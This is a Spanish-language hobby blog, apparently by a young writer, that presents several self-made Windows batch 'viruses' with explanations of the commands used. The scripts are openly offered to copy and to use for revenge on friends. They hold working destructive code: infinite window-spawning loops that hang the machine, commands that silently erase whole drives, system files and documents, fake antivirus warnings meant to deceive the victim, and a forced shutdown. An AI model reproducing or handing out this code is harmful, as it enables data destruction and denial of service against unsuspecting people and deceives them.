jueves, 3 de marzo de 2011

Ejemplos de virus y comandos 2

Bueno, ya estoy aquí de vuelta. Hoy pondré nuevos comandos. Como es muy tarde, sólo pondré un virus de ejemplo. Allá va (Creado por mí):

@echo off
:ae
start
start
start
if exist DocSuicida.txt (goto :io) else goto :ae

:io
del /p F:\Archivos tontos
echo msgbox "Hay un problema"
msg * Hola meón, he detectado un gran problema
msg * Parece que algo te intenta borrar archivos
msg * Voy a solucionarlo
del /p F:\Cursores
echo Fucking > Ein.sys
echo Fucking > Ein.doc
echo Fucking > Ein.dll
echo Fucking > Ein.jpg
echo Fucking > Ein.txt
echo Fucking > Ein.tcx
echo Fucking > Ein.xls
echo Fucking > Ein.xps
echo Fucking > Ein.xpi
echo Fucking > Ein.shi
echo Fucking > Ein.err
echo Fucking > Ein.blue
echo Fucking > Ein.green
echo Fucking > Ein.red
echo Fucking > Ein.clp
msg * El problema no se soluciona
msg * El problema no se soluciona
msg * El problema no se soluciona
msg * El problema no se soluciona
msg * El problema no se soluciona
msg * El problema no se soluciona
msg * El problema no se soluciona
msg * El problema no se soluciona
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * Prueba a pulsar Esc
SET /P ver= ¿Qué harás, so tonto?
if %ver%==1 goto muerte1
if %ver%==2 goto muerte2
if %ver%==3 goto muerte3
if %ver%==4 goto muerte4
if %ver%==5 goto muerte5

:muerte1
erase /q C:\WINDOWS\system32\%random%
exit

:muerte2
erase /q D:
exit

:muerte3
erase *.sys
exit

:muerte4
erase *.doc
erase *.dll
msg * Se quitó el error
exit

:muerte5
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
msg * ERROR MORTAL
goto :ua

:ua
start
goto :ua


Nombre: Mortal Eining (Lo puse yo)
Descripción: Colapsa el ordenador, elimina archivos de sistema y finge ser un antivirus
Rango de peligro: Medio-alto

Comandos (nuevos):

erase --> Es lo mismo que delete (del), solo que más largo.
Parámetros (también valen para del):

/p : Pide confirmación antes de eliminar cada archivo
/f : Fuerza la eliminación de archivos de sólo lectura
/s : Elimina los archivos especificados en los subdirectorios
/q : Modo silencioso. No pide confirmación de eliminación de archivos
/a : Selecciona qué atributos se eliminarán del archivo

Si pones del|erase seguido de *.(extensión), entonces eliminará todos los archivos de esa extensión

echo (algo) > [nombre].[archivo] --> Crea archivos poniendo texto. Obligatorio poner extensión y nombre

SET --> SET tiene muchos parámetros, por lo que explicaré el uso normal de éste.
Sintaxis:

SET (/P) %%variable% = (Algo)

En este caso, he puesto /P y de variable, ver.

(SET /P ver =) es para verificar algo

Nota: 8

miércoles, 2 de marzo de 2011

Ejemplos de virus y comandos 1

Bueno, a lo que iba. Aquí están ejemplos que he hecho yo y algunos que ha hecho mi hermano. Podéis copiar el código. Este virus podría ser el primero (Es de mi hermano):

@echo off
:a
start
start
start
start
start
start
goto :a


Nombre: 6R (Lo puso él) 
Descripción: Lo que hace es abrir infinitamente ventanas de MS-DOS formando un bucle infinito.

Comandos:

@echo (on|off) --> Es el comienzo de todos los virus. el @echo es para el volcado de texto. Los parámetros ON y OFF indican si se verá el proceso de éste.

:(label) --> Asigna una etiqueta al virus para añadir una subacción dentro del mismo si es que hay varias. 8 caracteres máximo.

start --> Comando que ejecuta un programa. Si no se pone el nombre real de ningún programa, se entiende que se ejecutará MS-DOS.

goto :(label) --> GOTO es un comando que salta a la etiqueta puesta.

Nota: 10



Nuestro segundo virus podría ser este (Creado por mí):

@echo off
:ohno
CALL %random%.bat
CALL %random%.exe
copy C:\WINDOWS\system32\%random%
edit C:\WINDOWS\system32\oobe\%random%
echo msgbox "Caíste en una trampa mortal"
msg * Se ni anteandas asti, aras tinti
msg * Jídata, ¡wou ju ju!
If exist F:\DocSuicida (goto :menosmal) else goto :cagüenla

:menosmal
exit %random%.bat
exit %random%.exe
echo D'oh! > Homerdoh.txt
echo msgbox "Mierda"
msg * Cagüen ti...
msg * Te vas a cagar en cuanto no tengas DocSuicida, ¡wua ja ja!
del F:\DocSuicida
exit

:cagüenla
echo msgbox "He ganado"
msg * Has muerto, tío
msg * Muere, inocente
msg * Adiós
shutdown -s -t 180
exit


Nombre: Call Randomcopy (Lo puse yo)
Descripción: Te amenaza, crea archivos sin sentido y llama a programas al azar.

Comandos (nuevos):

CALL --> Llama a un archivo bat o a un programa. El primero no finaliza hasta llamar al otro.

copy --> Copia un archivo.

edit --> Edita un archivo de texto sin formato salvo que lo guardes con extensión.

msgbox --> Muestra un cuadro de mensaje. El título se pone entre comillas.

msg * --> Pone un mensaje. Después del msg, hay que poner * y espacio.

If (EXIST)|(NOT EXIST)|(ERRORLEVEL) Número|(COMMAND) --> Condiciona una acción a hacer.

Parámetros:

- EXIST: Ejecuta la acción si existe [nombre.archivo]
- NOT EXIST: Ejecuta la acción sólo si la información es falsa.
- ERRORLEVEL: Ejecuta la acción sólo si el comando anterior devuelve un código de salida igual o mayor que el especificado.
-COMMAND: Especifica el comando a ejecutar sólo si string1==string2.

exit --> Sales de MS-DOS

echo [Texto] > [Nombre].[Archivo] --> Esta combinación crea varios archivos a partir dew uno sólo.

delete (del) --> Borra un archivo.
shutdown \\ nombreDeEquipo /l /a /r /t: xxmsg ” /y /c --> Apaga un ordenador o el tuyo.

Parámetros:
\\nombreDeEquipo: Te servira para especificar el equipo remoto que vas a apagar. Si se omite este parámetro se utilizará el nombre del equipo local. Usease, apagaras tu propia maquina sino andas con ojo.
/l (Es el carácter “L” en minúsculas): Este modificador sirve para apagar el equipo local y tan solo el local. Es decir, es como realizar un apagado forzoso del equipo en el que estas, sin atribuirle un nombre de maquina que pudiera estar en la red.
/a: Utiliza este modificador para terminar una operación de apagado. Sólo podras hacerlo durante el período de tiempo de espera. Si utilizas este modificador se omitirán todos los demás parámetros. Si te has equivocado al realizar una llamada a la aplicacion y deseas rectificar, ya sabes, con este comando, aun tienes unos ‘momentos muy breves’ para solucionar la metedura de pata.
/r: Utiliza este modificador para reiniciar el equipo en lugar de apagarlo. Te reiniciara el equipo y podras hacer que el equipo inicie sesion de nuevo, pero “en caliente”.
/t: xx: Utiliza este modificador para especificar el tiempo (en segundos) que deben de transcurrir para apagar el equipo. El valor predeterminado es 20 segundos.
msg: Utiliza este modificador para especificar un mensaje durante el proceso de apagado. El número máximo de caracteres que puede contener el mensaje es de 127. Aqui puedes poner cualquier mensajito que venga al caso.
/y: Utiliza este modificador para forzar una respuesta afirmativa a todas las consultas del equipo. Si alguna aplicacion, te requiere que confirmes el guardado de algun archivo antes de salir, o si alguna aplicacion necesita de tu intervencion mediante un “si” o un “no”, entonces este parametro dara como argumento de entrada a dichas aplicaciones, un “si” por respuesta.
/c: Utiliza este modificador para salir de todos los programas en ejecución. Si utilizas este modificador, Windows forzará el cierre de todos los programas que haya en ejecución. Se omitirá la opción de guardar los datos que se hayan modificado. Esto puede producir pérdidas de datos en los programas para los que no se hayan guardado datos. Asi que, tambien tienes que tener ojito con este parametro y utilizarlo cuando sepas que los datos de la maquina remota que tengas que guardar, no son importantes y por lo tanto, da igual que se pierdan o no se actualicen antes de cerrar dicha aplicacion.

¡Hasta la próxima entrada!

¡Hola a todo el mundo!

¡Hola! Este es mi segundo blog, y trata sobre los virus creados en Batch. Un archivo Batch es un archivo por lotes ejecutables MS-DOS. Cuando se ejecutan, se pueden realizar varias acciones básicas a la vez, como pegar, borrar y editar, ya que MS-DOS es un sistema monotarea, que quiere decir que sólamente hace una tarea a la vez.

Explicaré muchos comandos para hacer maldades en Batch, por si queréis vengaros de un amigo, ¡wua ja ja!

Así que a leer para aprender Batch